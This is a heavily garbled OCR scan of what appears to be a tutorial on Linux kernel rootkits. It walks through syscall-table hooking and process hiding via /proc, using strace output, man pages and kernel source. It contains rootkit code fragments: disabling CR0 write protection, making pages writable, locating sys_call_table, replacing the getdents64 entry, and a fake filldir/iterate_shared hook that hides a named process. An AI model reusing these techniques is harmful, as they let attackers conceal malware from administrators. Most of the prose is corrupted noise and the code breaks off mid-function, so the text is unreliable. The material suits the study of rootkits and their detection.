Fdoe X vmeexitd X xooox 41 Lo x ]S P T N T B T I e R
loxs o 47+« oIx x hodk *%EPT* <, +d9 -7 _¢37¢431,_ #4.°¢
o € LoX L x T olx Foron X Yy 4 XX (L X , S 1L s X oL
X X5 4 X pd] Tl o x 7, FAdL s s X X 17 § %X {7
s A S L «xq., 4 xs T x "y?” S
F1. 0 github™ * 14«4 Xeposibory J*_ « « 7 "« 1 41 y¥y.os s ] L~
(s> x7 CL o 1,
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1410
14 1 141 x Tox s "X, x s 1. ¥ My ” X o, se 1
A 1. % - Intel+ © manual& * | s *xx s Do 15« x
.amiryeshooroo@gmailcom : ¢ 414 _ * = x o« 440~
Fd1d L.
L~ s FS oo X8 oA o+ _S
https:// rayanfamcony
Intel Manuals https:// softwareintel.cony content/ www/ us en/develog articled intel-sdmhtml
OSDevhttps:// wiki.osdeworg/ ExpandedMain Page
GNULinkerScripts https:// ftp.gnu.org/old-gnu Manualg1d-2.9.1/html_chapter|d_3.html
GNUGruh https:// www.gnu.org/ software grutd manual gruk/ grub.html
Creately-+ 1 1 x 1. s x 7" | xs
https:// createlycomy
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https://rayanfam.com/
https://software.intel.com/content/www/us/en/develop/articles/intel-sdm.html
https://wiki.osdev.org/Expanded_Main_Page
https://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_chapter/ld_3.html
https://www.gnu.org/software/grub/manual/grub/grub.html
https://creately.com/
https://creately.com/
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1X : . ”nooX
< L, I~ XKimrootkit - 4 A
s | x . . i« .o
S « S
X ¥ A reotkitss® AT 4 A s Y 4o F R E XSGR T ]y S

s X Pl A4S Cowi S , Frootkit-se e XS ) K L b s OX
XL C o 1 x {hodkingd = « 1 ™ 1 1.* " x = A S BN B I L

by s 11X s Foorvotkits  Hx Al X" 1 1 - x XL sy LA B Y 1
1~0x x  hooking . , ¥ B {8 X451l xo s

L 1 s s { s A o 17 s L 1L T B s "o qx 11, x <
¢ s,VXIL” =xm\,,s « L 12X R U DXL (1 x4 x
11+ 1 1 "syscalltable-x Bystemcalls *x _ | i, 4y _x _ .heokingd x <X
X s % x A =] 1+ L s X < X L {1 ] =x~\ s L
« T s J A4St ke
{ L s L svxl~ s X x I-|Vs . Yy S L q L ! S , Lo
Xsooos 4 Xs Do x1 0 o+ 1 x €0 L Ix I X« ¥ X

Pl x
1 1., x <« . s ~ L 1S
fotkits-* _ x 7 1 ] hooking ss¢¢ ss__ x

X« op 4l s o x bxeos 0 4, ¢ x4 Reeking L, ¢ 411, X x L
lex L. ”XAXVS Al.lvs L S'I‘LX>‘|”V A‘XL Lous
X L T4 X S N I 1 "Man In Thé&Middle) MITM |« X iiss | s X s
PS4 4 *xo ot AL T CeXx g D73 x T4 T Ly X8
x oo~ A x4 4 DX, 0 X sy o x4 s ¢
AL T A X « ©x " hooking X, LS X4 X"s b xTel 7] L E] L] spxGlos
X Dxowoos T T x o rootkits Y " #1474 rootkitss ', ¥4 PO L o x 7 17
L R A N T R P T 1«7 L s o4 X s 4

~ v~ ~

HY
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N S T T O T O e T O L S T
Cv Tl pex oos 4 x4 x o x T s s e x4
Ao A Lo~ L LY LY S Do e d L x "1 s
AT I I 17 0 sx Xy 44X 4]0 . TS R DX ] G
, X _ ~ hookihgs , *s _ = _ 1 v XS 1" s 17 L« s X , bl 44 p 4T x Ty
10 _474 S SR R B BN ced o s, ,ss 1.
?hooking . _ .. =~ _ , ~ 5 4+

s 1 L1947 X « x X ?2 1 iosi%Phookitgr X ~ L LAl X er o8 S s™ X s

T T S T BT B | 0 (R B AU R (R R B R

~ ~ ’

* x file operation* chartererdevice (4 _ _ s * 1 1 systemcalls '+ "1 )x " 1 Tl , S Lo

DXL X o reotkit P 4 X x4 KT T 0 L XX F A4 XX % e F L P

LS L x 4 _s hooking X «. L4+ ovdx ol x "y

~ ~ ~ ~ ~ ~ ~ v~

¥y s Do 01X hookir Texxes o scalbdck x % s i keyloggers . . bl ox oS

CXe Ox 4 Lo Xl s H.s 26 Ad 48 S os o o Xk

> v

1 N 1x A L L X vhbdkig, , K 1. X" Aaxx L™ JHe s

~ > ~

14+« ~0L v 4.1 _ “hooking® ¥ | s A% xdehudgingl X ¥ 444X x 41 4 _ X

L DX, 0 Rodke S 1L T i d Xy x|

=
_|
z
13

L hook x> " > 14 «shttp) « % 4% (x_ ¥y Xl o x < i.x., x
L 1 hook * k®uw $4{~, ¥ x DX S DX, o L,X O Y

1 11 L x X . s ¢ Lo B oroote X ¥ d 4 Srook et d ok A X 14

s 1 s X . q{ X - x " 4L X « S L x | x 7 " . s " y s

1 ~ ~ o~ a ~ ~ ~

Lo.L ool o4 s 01 AppArmot Selinux, X b X 1 .

10~ S T1%v 4. .x DX« rootkit |44 s LRIMUX o d s XL x T 4T

{ wootkit-s -~ L 1L 1~ 5.1 PLX o lLx o Dox

sTx X DXxs x Ty JHoadk XX ALY 4l ke s XX X Ty N

strace hooking , * « 4 * L ¢ X« e

A ~

lox "X X "l X < 14" s ¢ F‘AX ’s"xﬁbdkiﬁgx(\"l_fvsgkf?s

s T X s L I x < X "o , X € : s | x Y | <« ] 1 ] . X <L

~ ~ a ~ > ’
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Xx o LSS s X  stlaBe_ : S. X XA ] X s " s x Xy
v X s Svox "L s ¥y { (gystemdalisx r ( S ¥ x . (4 signksX{*. %1% ] x 4
~ . Y 2 S 1
Ll -« stricels : P X terminaF s 1.« p o Y X 0 4 x s X
. y x | % DX v oLgs T XG0 s s s

- S strace 1s
execve("/usr/bin/ls", ["1ls"], Ox7fff8a917470 /* 52 vars */) = 0

brk(NULL) = 0x55d9e5410000

arch_prctl(6x3001 /* ARCH_??? */, ox7fffob74e1d0®) = -1 EINVAL (Invalid argument)
access("/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)

openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=67187, ...}) = 0
mmap(NULL, 67187, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f265499d000

close(3)

strace v . 1., s o« T AXs o ocdd KX ot ]I THESs L % x 0 b4
T4 4l T A . sS4 L L bs s o X xxs
S terminab ! 40« s L rhanpage* s x__ dstracel AL s . sl xo< o1 L

Systemcalls
kernelspaces " usérspace T 1 * .~ _ Y. x| X syscalls } x .Systefheaisi ~- « T 7 4 s
-S ,,XC‘_) A\XL S . X, - o ~vs ,,~\. SLXA> ='|X ”XAV N Lo
Tx i 44, 442 Jx ] kerhelspdcg S, ,ss 1.  _  ‘userspace_ X _ 4 _ s T
X 1 s qx

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((" °, a))
s.listen(5)

Tlox ) T x4 S d ysaydod-e S L Ogketsx i) Lt Lo X ] x| xS X
FAd . X s L s @ oxpython (S1c 4, _1%) . .sit " isq {"x s L.
Y xgyscalls - « 1~ « o, x:  s¢ 1oL ~lpace-s X 1L, 0 S G d cle
] x syscals ~ s~ © 1% | *seckets x{ w: ~soxx 44 s ] .sockét ~x* X
soCkets  (file descriptor ssbckets s .« _ X)) x X x4
P T T T s 1401 _ systemcalbss $: 4l 0, IXHL I xX 47,8 T 147
140 s s  x b x.o FY O x e s X . 11

A ~ o~ 1 A
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s 4 XX , S L s s Sl e coxo A osyscalls oxi L xC Xy o ]
L X 2 T xfd Ay L S AV V R DR N R S N R TR T R B S
x {0~ dvys o4 hook %8 XX o, XX Ax4gxyg ox7
Systemcalltable
Lo DX Xl s x X s ss Sl S x 7] s lox
system-s  { s xdyscalls * xx . .~ ¢ ]. 4 xs 44 1" Lx
syscl-s  + _ . _ sl x s 41 __  _ s sydcdlitablet icalltablee " 1 s s _
1. flerdx - 14 coperntt . S < 44X ) L L 1] x40
.syscaltable* open + . s ., x X v s *xoo 1 x s "X
syscall s * x « s« Xs o X X x s X 1] s x 7o s X
R R 2L S T T IXSIL XL D XS ST X LS X
x 1"« LX) s 1L veadonly- J syscaltables 1 - X3 ] [ x . s Fdx
R T N T P S B T %< 4 Lrroet¢ s 7
s MMU)s = x . 145 s | gRAMS Al 4] Ll . Iuds)yx ts L, s T x| {6 X
Tox 7w x s ages, et A1 wpghe s Sy X4 Ly (4 x b xy T ox, ]
FS o 1~ _~  -page lryisxooy "t o (1A s Sxop X foe L1 x
e e e x4 7 x o bos readonlyreadwtite 4o XX S s Ll Xys o ]sc” o
ST L s s Xy hwsx L STis D s o X e 4
« s _v s Ix 7 L, ix 4 s {...1pafes isgucts . Hs IS Y Is]s |,
cros 4 x4
syscalttable-s  thqoking* crO
x| L XXX X _ox i 11 4 L R B (05 IR R I LY |
reads 14 ,%% x> xS UxH Y, AT, s s i e s s
L Xx1's oo X . . WPAXx o {Write prétec) < X s xmc,1(4_ % onky s ¢ x
Lo L 1sx s 4. 2 B L, x4 x e ox 1 s x|
XL or®L XX s 1 x X s s pages | XL L XX X LI5S X X .
X .U X T oL pages X x s x4 | s X s . x "y « 1 s
s 1 x4 0 Tos 4l SR A IR v US o 1,1« A
s X 4 ]s "y s . XL 4% T
X" 4. x 1. x % f« _siL <« rthookt I .34 J.% "y
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#tdefine remove protection()\

({\

orig cr@ = read_cro;\

write cro(orig_cro & (~ 0x10000));\
)

* L wp 4y s Xl “read crO~ 1 X  ¥cr0~, * origcr0 1 x RN X wowox

. 010006 NOT - | « * _ s s _oux_ ' ~'L
X ox ] s 4 w7 oX L P i x "1 s s X s 447 S 1 s L
Fe oo F 4o bx o x Xpages , - X x ildokup address & . ¢ 0 * T 1 _ -1« 7
. 0 s x4 ] CX s Coe S { L+ L I R T d s 44
. PAGERW
int set_page write(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, &level);
if (pte->pte &- _PAGE_RW)
{
pte->pte |= PAGE_RW;
printk(KERN_ALERT "modify the page frame to wirte");
return 1;
by
return @;
}
v qs 11 s X wyscalkable® ™ xi.«].{ " T | s T R Le 10X 1A
AL s L S pproc: X« v { ) _. _ .~ kallsyms kallsymg f & « . _ .
FS Lo =X x D kernels « syifbolg |
L. .S b i, Lo DX X x o] D G e Y | s X "o Y oo x| .
L 17 XY v s qL. p4.4%  _ kaldymslookup names : H7s x §s ok IX
unsigneds " { s N S Xrétdrnlvalues x o«op 4 AT o XS S 4 s
. ldng
sys call table = (unsigned long *) kallsyms_lookup_name("sys call table");
I X o _ _ _ syschlkaBlers  ixe 411X osiOxp T L oy {1 T A
=y i Syt4q I X < 1., {s x ¢ A P B B . X € o
L " "s 1.1 s L . X <L 1 . X 1« - S X x i
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cxs s 0 Dx s L Xy shisddiitable 1 J s« X Ty g 14 x 7
<L 1s s%hosking sS. : X _ L sSysdahs x . _x "rvx_gyscalltables ] x - X

s, _ sy osywealky Lo o xo v f . ¢ dsmlunistdhs ¥ H s o X T 1 x
syscals . _ - *x I ]s I« 7 {gyscilstale® .s:sx¢” s syseals, " by 1%

L T U S DX e X 1 syscalltabless  pdxx o st xT7x oo p I X L L X
1l ~syscalltable s " © s <« 4 T<x 1 x7” 7 7asm/umiskdh-» _ ¥ ¥ I ¥y I x <
S T x o sxx DX x D ]s Do T x ., getdensb4syscals ‘L {1« s

. 10 I1sL1 v 4 x. x7
(.

sys_call table[ NR_getdents64] = (unsigned long int)sys getdents64_hook;

Do b AT x> 14+ T {xs | syschliable” hdok _ .~ w_ +H_ K 4T x¥wx s ¢
LY x4 gl t @ T s .l JhookS 4 sds 4T s A dd A s
Dx e L se i s T )T LA T L s L A s G

I psocket © _ L . S X w4 X< DL s prootkittsL ST Xl X s 1y
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X *x 1 s s " x” = x "y Lol I x " X < s ¥ X s | x
Fd s 1s L s 8 X7, s Xsx 1, x7 0 T4 ~ X
17 1 x thooksx _~uJ: s> vso_ ox.4"s ], L, sXx oy .
~ v ] X "2 L ~ S {1 ., X 7« S ., X S " S |~ Ss L Lox 7
strace : + 11, , "manphge *~+1 .~V X(¥ 4.0 _4y¥Y 7 sq{s{ 14 s Xx .,
F17 49 v 418 1«17 I R S S T T R T S B
« ¥4 .+« sShookl oAl XL~ oA lx s 4 T {Xs s
L T B 1408 L I
Fdl 4l s oL S
11 | o~
FYx o 44 s 4 x4 L L x4 ]s X ] s T x s X, ]
1 kAl s e kAo x s Dx O x {10 ckeylbgger * T e o> ) © o x

Tdus:t xix. 1ox L « 1 XProeesdb)pid oo, T4 A As 4 A st )

'I I:pS':'SJ,X“ S - -I”SL —:_Iu (_XXVJ

USER VsZ TIME COMMAND

root 1 5 .1 167652 1! ? 8:05 [sbin/init auto noprompt
root . . ] ? 0:00 [kthreadd]

root 5 0] ? 0:00 [rcu_gp]

root 5 5 0] ? 0:00 [rcu_par_gp]

root G} 0:00 [kworker/@:80H-kblockd]

L I .lox 1Y 7" x  {gopX £ 4x  .oox

top - ©3:18:16 up 8:33, 1 user, Lload average: 0.26, 0.13, 0.85

Tasks: 284 total, ® running, 284 sleeping, ® stopped, 0 zombie

%Cpu(s): 1.0 us, 1.5 sy, 0.0 ni, 97.5 id, 6.6 wa, 0.0 hi, 0.0 si, 0.0 st
MiB Mem : 7934.5 total, 2938.9 free, 2502.7 used, 2492.9 buff/cache

MiB Swap: 1162.4 total, 1162.4 free, 0.0 used. 5082.9 avail Mem

COMMAND
1:21.13 gnome-shell
©:55.69 Xorg
0:02.66 kworker/@:1H-kblockd
0:22.61 code
0:05.28 systemd
0:00.03 kthreadd
0:00.00 rcu_gp
0:00.00 rcu_par_gp

itamar 20 0 4115268 273376 97064
itamar 20 0 345852 103280 65160
root 0 -20 0 o 0
itamar 20 0 4719384 148008 54628
root 20 0 167652 11836 8580
root 20 (6] 0 (6]
root 0 -20 (0] 0]
root 0 -20 5] 6]

L LN ]

v

v

CPU
2.0
1.7
0.3
0.3
0.0
0.0
0.0
0.0

D00 0O W

H H w
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Iproc ~ 1417 s , fproc 1 1 Hinwd X 4L cHdBXinternals* T x4 47 DL« i

A

procfile. . ~ x « precfss ¢« L 1/precx & * « Fdl4d0s s Lo L. X ]oxoiy ¢

P, D oproe v Y Ao keverythingis file" 4 1 s 1 finax* ‘systém
1~ __ ~4s _ plodfs , 8o _ _8s Sl Lo FRroct ws foss DX H s |
procesdile-system : + 1 1 4. s 1 o+ A

strace s 4L ps, WX 4 0x 4 =

:~$ strace ps
execve(" /usr/bin/ps", ["ps"], Ox7ffcfc5fd1a® /* 51 vars */) = 0
brk(NULL) = 0x558a9342e000
arch_prctl(06x3001 /* ARCH_?2? */, 0x7fff720feb20) = -1 EINVAL (Invalid argument)
access("/etc/ld.so.preload"”, R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=67187, ...}) = 0
mmap(NULL, 67187, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f1c2f8d2000
close(3) =10
openat(AT_FDCWD, "/1ib/x86_64-1inux-gnu/libprocps.so.8", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\06\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 K\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=80072, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1c2f8d0000
mmap(NULL, 159768, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f1c2f8a8000
mmap(0x7f1c2f8ac000, 40960, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,
mmap(0x7f1c2f8b6000, 16384, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xe000) =
mmap(0x7f1c2f8batee, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3
mmap(0x7f1c2f8bdoeed, 73752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -
close(3) =16
openat(AT_FDCWD, "/lib/x86_64-1inux-gnu/libdl.s0.2", O_RDONLY|O_CLOEXEC) = 3

1

s 1 s- g*¥x s X T ox DX, x o ostrace S vk AL LSS a4
s 7 L. c 11 s X s .S

c LT s sfGsrbifips s % T d.pslAS  siAs Sy T4 1y
v S P e X e s D obind R k4 KT T
S o T T U T RN A e S T S L N B
(s . s s N . . X X 1oX L

S L X 14 , Lo - X ] s 41X, I I B s 44
ex X q4s s o o0, oy b (4 ety xd Fd - x 1 s 4 oq]
| % L .X } ” L b -I ” . ¢ X vp§.x ., S. I x X-I « "l_ S. .. -~ XL, L L S SL ‘

Lo XS s »x X S IR AN - 1 1gétdentsb4. S~ H 4 X3S THSTss 4, T
pids .~ . _ 4, ¢, s44<4:° 4 14 s [prdcinumber/staus x 4 x "+
1.1~ s 7 X .., s S v 4., S s ¢ X S+ . S L s L ]:ss Do

~ ~ ~
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I 1 x M 18 Qs L., ~X. 1L X _ "M ¥pids _ sdi1 v sigetdents64 s - For)

LJX” ~ L ,S\.Lv S-lL‘S 1-|JX”X -IX:'I>S i I"I-IV” ‘-L~
Cdostatusx ) x4 es 0 s A dps AL X(sMHLTs s s x L
X X

LIS (S5, /* 350 entries */, 32768) = 8776

stat("/proc/1", {st_mode=S_IFDIR|6555, st_size=0, ...}) =
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6

read(6, "1 (systemd) S © 1 1 0 -1 4194560"..., 1024) = 194
close(6) = (s

openat(AT_FDCWD, "/proc/1/status”, O_RDONLY) 6

read(6, "Name:\tsystemd\nUmask:\t0000\nState:"..., 1024) = 1024
read(6, "00000000,00000000,00000000,00000"..., 1024) = 310
close(6)

pPSs L 10,0 s _ x| 1 statdsxstati 4 «

:~$ cat /proc/1/stat
110 -1 4194560 24822 5108134 101 2300 55 484 11342 11712 20 0 1 0 79 171675648 2959
0O07830000000000

Txsq L Topads

:~$ cat /proc/1/status
systemd
0000
S (sleeping)
1

0
1l
0
TracerPid:
0
0

s . n on X statx étatu&j _]XL: ‘_pS_L X >§ 1 4 . . q . o X I x q X " 1 "o , oL X <
stat L . S~ 4. s ] A4 Isxi{* s*getdents6y "X 4 . X S X v, b X
exs 47 s, X 1sx s Cgetdents64s 1k~ X { s x« statusx L XX L

1] P X 1 s X . XS s X FApPS h- " kXs s, o7 ]

~ A~
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getdents64

Pl 447 1 - X Imarspagés | xx o ox s ©
GETDENTS(2) Linux Programmer's Manual GETDENTS(2)

NAME
getdents, getdents64 - get directory entries

SYNOPSIS
int getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
int getdents64(unsigned int fd, struct linux_direnté4 *dirp,
unsigned int count);

ote: There are no glibc wrappers for these system calls; see NOTES.

DESCRIPTION

These are not the interfaces you are interested in. Look at readdir(3) for the POSIX-conforming C library interface.
This page documents the bare kernel system call interfaces.

getdents()
The system call getdents() reads several linux_dirent structures from the directory referred to by the open file
descriptor fd into the buffer pointed to by dirp. The argument count specifies the size of that buffer.

The linux_dirent structure is declared as follows:

struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* 0ffset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
/* length is actually (d_reclen - 2 -
offsetof(struct linux_dirent, d_name)) */
/*
char pad; /! Zero padding byte
char d_type; /! File type (only since Linux
/] 2.6.4); offset is (d_reclen - 1)
*
/

readdir . Ll s N R x 7oy r 1~ _ *getdentab4_ » w1 "d 4 1w 12
L A . ~ userspacea s Skerfieb. + 41 T 1.« x7 17 o L ¥YX X
. s ixs X sgetdents64 1S _ s ¥y Ll Ux 44 _ 7 Tx]7s  pox
1 xlinux dirent ¥ x gsfructs 4 * « 1« . x < < d4s 4] T {*s getdents1i " s L _

linux dirent64 v x drip x1s” __ x v fd« 4 ¥ ‘¥ .x 4 oxs A
X .~ «~ psS rwsStracd - -« 1+, s 1. T R 17 T4 1x " A
P, Sostracepsx - 4t .5 x s o4O x s Ty firefexr 11 e, S X3 ] ) x L
dirents % 44 _ " ok y  x X )y {7 s detdentsB4.i«X4 T4¥X_7 44 X TI{x o L4l L

~ o X 4 retdrnwaluex s ¥ x

getdents64(5, /* 418 entries */, 32768) = 10408 getdents64(5, /* 397 entries */, 32768) = 9904

s | x ,|S-X‘- -{|_Sy~ . geidénls@4~ {194« . , F i %« : . L. S L, 1 LN 1

11 " Axsc T4 o xm o os o b s Lax X4 T e s
IS s A Al A e s kpE F S B Do LgetdentsBA X« o T -

~ _ Xlinuxdirent * ~ 4 _  x" o x4 2y . xqproc XX~ 1Sl. i X s L

2. XS Xx s o0 " T gs L x{ uxs o 4. L_ox ] 240 x.

~

x linux dirent-s . _ X _ x ¥ X s X ¥ X X¢ 4SS |]Jo] S s XX

> <~ A~

X
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17 xy..«s .,  xdirantL.offsetd- dBff s *s5 s x o 1 ysX
s « getdents64_ (- & H . f€itejiess - x 1 L« X
s 41 - v o+~ binps, $ <R A X LAX P x s TS

=] x X 1X . L A/proq; AL~

tdirents -« p 4L s T4 T ks 11 11 Ixo o <d s or 4L
Lo, 1safprocdw ~ 77 | X ivs.getdents64 x X X o X x4
-s v X85 P 1 4 P s x s x4 1s N
e -4« v 4~ Aslreaddirc* | ~ X 7 " souréeeodes L | getdetns64
L X s v d v . K fteraterditr st o+ gRtdents64s” s o I 1 0 1 X X
S i H n oy s = = ”
+ 1 s _ Virtual File Systgm VFS 1+ _ 14« . 1 1] 14 1L 1
Lodterate dir v . 0« _x 1 uxuopracfs kK4 F A0 cexed ST b d XS .
iterate_sheerd* _x _ 4 _  _ 1 41 >
o Xl I I Lo - x X | sourckcodeX F I - TR I B R B BN
TH s L iy v sdboAx e s sy XxT ] 378 4w v s G x
SO Tl L (rs Ay e O T I el T o) X R xs {0 s
x ¢ ] .« X oL FlLoL X x "
= | fs ] readdir.c ALl syeNe Search Identifier | = / fs / readdir.c All SYEW Search Identifier
Y | 4@ | int iterate_dir(struct file *file, struct dir_context *ctx)
SYSCALL_DEFINE3(getdents64, unsigned int, fd, { . ) o
struct linux_dirent64 __user *, dirent, unsigned int, count) 2 struct inode “inode - file_inode(file);
( A bool shared - false;
" struct fd f; 14 int res - -ENOTDIR;
struct getdents_callbackés buf - | " if (file->f_op->iterate_shared) e
.ctx.actor - filldirea, 4 " shal:‘ed = true;
o gty else if (!file->f_op->iterate)
.current_dir - dirent goto out;
;r’]( ditors res - security_file_permission(file, MAY_READ);
& if (res)
f = fdget_pos(fd); goto out;
if (1f.file) < [#:
P " if (shared)
return. -EpARES res = down_read_killable(&inode->i_rwsem);
& . else
?v{‘regr;o:ttra;_dir(f.file, &bUf'CtX)] 5 res - down_write_killable(&inode->i_rwsem);
if ( ) :
error = buf.error; i (res) .
if (buf.prev_reclen) { goto out;
struct linuxfdirentu __user * lastdirent; fes = CENGEITT:
typeof (lastdirent->d_off) d_off = buf.ctx.pos; if (!IS_DEADDIR(inode)) { —
}astdirent = (void __user *) buf.current_dir - buf.prev_reclen; EEX(;:::e;)file >f_pos;
i <eprurt°'rusier<:ﬁc:f;’, &lastdirent->diger)) res = file->f_op->iterate_shared(file, ctx);
) 3 else
dseer_mr SoiinE BiE ciiiiies res = file->f_op->iterate(file, ctx);
} g d file->f_pos = ctx->pos;
CEN fsnotify_access(file);
fgtzrﬁp::#;}" file_accessed(file); =
} 2 if (shared)
#ifdef CONFIG COMPAT inode_unlock_shared(inode);
o ; else
SnUZEM;::E:I;::IH:?;?"nt . ; inode_unlock(inode);
compat_ulong_t d_offset; out: - .
unsigned short d_namlen; . Gesurn;res;
char d name[1]: :
fileoperation ~ . «~ - _ 4 x s 4 <" X jterfte’shaerd L~ 4% - XX, ou Xy kx”
S 47 x  x i keyloggiheg L | * Xfilebpergtions + I x<s o, o X x4
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17,0 Px s @s X s jterate shaerdfife bper@tions . s Js o4 s L«

s o4« Thxor {sx© s { . tedate sherd v _ XS oy g 4 X Hx 4 X7

s ¢ stiuet file operation™ iterate_ shaerd ¢ 1 - " , 44 _ " 4 _ s xT ox.oo
Plot oy x s Ly X

int (*iterate_shared) (struct file *, struct dir_context *);

x40 stuctx fileg) . 7 x L X v ds 0 Dx .,
struct dir_context {
filldir_t actor;
loff_t pos;
b5
s ¢ s o4 s offsetx . x L%k 4 X It A LWL lxxs D x v,
iterate shaedr *x 7 .~ * s X x o . Cstrucks” __ x ¥ .« 7 A
filldir
/*
* This is the "filldir" function type, used by readdir() to let
* the kernel specify what kind of dirent Llayout it wants to have.
*

This allows the kernel to read directories into kernel space or
* to have different dirent layouts depending on the binary type.
¥/
struct dir_context;
typedef int (*filldir_t)(struct dir_context *, const char *, int, loff_t, ué4,
unsigned);

Tl filldin X U XL . X e wxs T4 L, s 4L 1. L% s x

getdents64 L _ ~ _ _ _readdir_x sx .getdents64 . man page_ _ r 1 redddir
x €L X e 1w detdéntsB4d, - Y] Xfilldir t« 4 97 4 X s L userspace T ] L

(Tx1ts Taxxqlx o xr1o.

L s~ W S ] x I D S S D G o . s 4. WX S | Lox T

s .getdentsbd L _ S X4 LR R oS @ X X 4] L, oxox px 1.

source-s L v 1, " ohooksd TiNT s T 0t 0 e x s 4w T X sy
Sooxpx o lx o Ao x4 r i e Tx o 1, Ailldic ceotle x 1 s b 4,
ds/readir.c

L, ~dprock L v A~ odifent Lk 4 oF 4 Yool KT o xS AT .

N

x Dxooo s xoxo " ppids, B Hssproe* Sdifent w ] oo . v S T~ 17 b s
= x " s ¢ .l 4 x ) = x " s ¢ X =17 ] s x Cox 7 ] 4L s s
Ao 4517 S0 evhopidl SSUX X 4 K% SCTI™heokY »« ST % 3o kL X X (
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x5 € 10 )X ame L7 X isx ] x sssX ] CoAilldifes AT T e L e X
x X ox 4 p 44T
static int filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u6d ino, unsigned int d_type)

11 T AXs 0 . s s oW X s X F X names:t o« X 4 s e d 18T
L Merify_dirent name L | ¢l s, " direntss ;4 1 1 K8 s 4] inamex v .~ « s 7 |
buf terror 1 x 0 <fame 4 _ M7 X hame i, s x> s X o s

Lo R x 217 d o 4d) XL x X8 XL ey I . N

buf->error = verify_dirent_name(name, namlen);
if (unlikely(buf->error))

return buf->error;

unsafe_copy_dirent_name(dirent->d_name, name, namlen, efault_end);

buf->current_dir = (void __user *)dirent + reclen;
buf->prev_reclen = reclen;

buf->count -= reclen;

Fdpame « 0 T lx s o 4 Tax o X" w xS TX w8 40X
S L r name-«ixls s 7 4 x 44*] lldir€ngs x tngmeS 4 2 s §x I X x I x.
TI4T L sxXlx ,x sl x «xs 47 s X1 sx direptd s . _ " X7
A Ay o x T e 0 b x 7 ] by s x M o s s Xt X YT Ll
X W7o _Tditents {usérmode* ~ X © « user r | Fd 7 44 dirents ¥y xEoox o oxoy X
x X L. x 3.1 q s chys 404 o w4 _ 1 < uderinbde s X, s .y
count * ~ oy dréclent « v x v 4 4 X717 Ix o Xsoolxo,x s 41D X
dirents + _ filldli_~ s ¢ 1 «4_ soc -~ Tl T T RN

Al A es s 0 fprock s AL rsddireitesdst 4 s x X

x’hooks *~ + 4 _ 1 s 4~ T AXs . Lx] T4

%
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L X, -
L. 17 s 17 _ struct dirlcontext 4 x @ % «filldir " x " { s
hook -~ xs.. {file operations

S s
_ file operation I _*

s s ”

s 1 . «itérate_shaertl s _

iterate_shaerd(file, dir_context)

getdents64 proc/
dir_context.actor = filldir syscall

iterate shaerd

Rootkit iterate_shaerd(file, dir_context)

h Rootkit iterate _shaerd
dir_context.actor = filldir

name != DX

hide_pid = Fake filldir

X

3

s X »ow s T qx
,SL 1Yy ..s s, x X XpP4 o x Isepsy e xos s Y 4 s B8 Ms 4 ] s F
-« 1y gatdentsb4] X+~ + d/prdc-, , r 1 41 Ttop *ps” 1Y « v 404, X717
L iterate_shaerd - - s ., X I ’getdents@4, X " 4 « ~/proc* _ } X _ jdirentss Al

filldir =« s . x 0 X 9progd S 4_1 ~~14:ss

©« silldird s 1 x © % diterate shaefdi~_ 44" )] ¢l x<ox sV x o
Ims X oxsop ox ox oox T dirent s A4S cHifent e 1 Ak es LS s s T s
-L o ow 1 v X sp (dixeatsxs - Ya ~ATdname ¥ % XY . oS . « X |

el e x 1T s v 4 1 filldis ol k.
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1 xfildir -+~ 4 4> 417

static int rk_filldir_t(struct dir_context *ctx, const char *proc_name, int len,
loff_t off, u64 ino, unsigned intd_type

{
if (strncmp(proc_name, proc_to _hide, strlen(proc_to_hide)) == 0)
{
printk(KERN_ALERT "found proc");
return -2;
}
return backup_ctx->actor(backup_ctx, proc_name, len, off, ino, intd_type);
}
strncmp v, S~ x x s Sfilfdir SL._ X S 4 oS¢ X s v, s sC s {07 xS
s 1 oA L1c_ s_ 4 _ . s I x7 X, pwoctd hide”” fpréahame < 1)~ .
-L s proc hamer « hooks 1 x4 *x 7 , x4 s4s { 4> X 4] s¢X

filldir-c ¢ 4~ » X« xplod "ted XX, (¢ sHoe 4449 1] prog fo hide S -

x XAt X 0s o o 14

X T e x tx e oA s e A direnes T oA ce 1 fildin 1. Xipes 3T ox

> ~ A

struct . member] - *filldir _~ | ¢ {tératershaerd s _ x  /préc-L - x X~ L. X100 o+ 4] A

+  x A L dir_context* _ . {iferaté_shaed-. -~ * X 17" _ x dir.context_ « * «~ Xs

N v o~

structs  _ x _ A Do Py . Aile-s1 « ] offséts* L, ¥ 7 pHos -~ -x+s filldif x

~ ~

siterate_shaerd - + dir_gontext

int (* backup_iterate_shared) (struct file*, struct dir_context *);
struct dir_context rk ctx = {

.actor = rk_filldir t,
¥

int rk_iterate shared(struct file *file, struct dir_context *ctx)

{

int result

0;

rk_ctx.pos = ctx-»>pos;

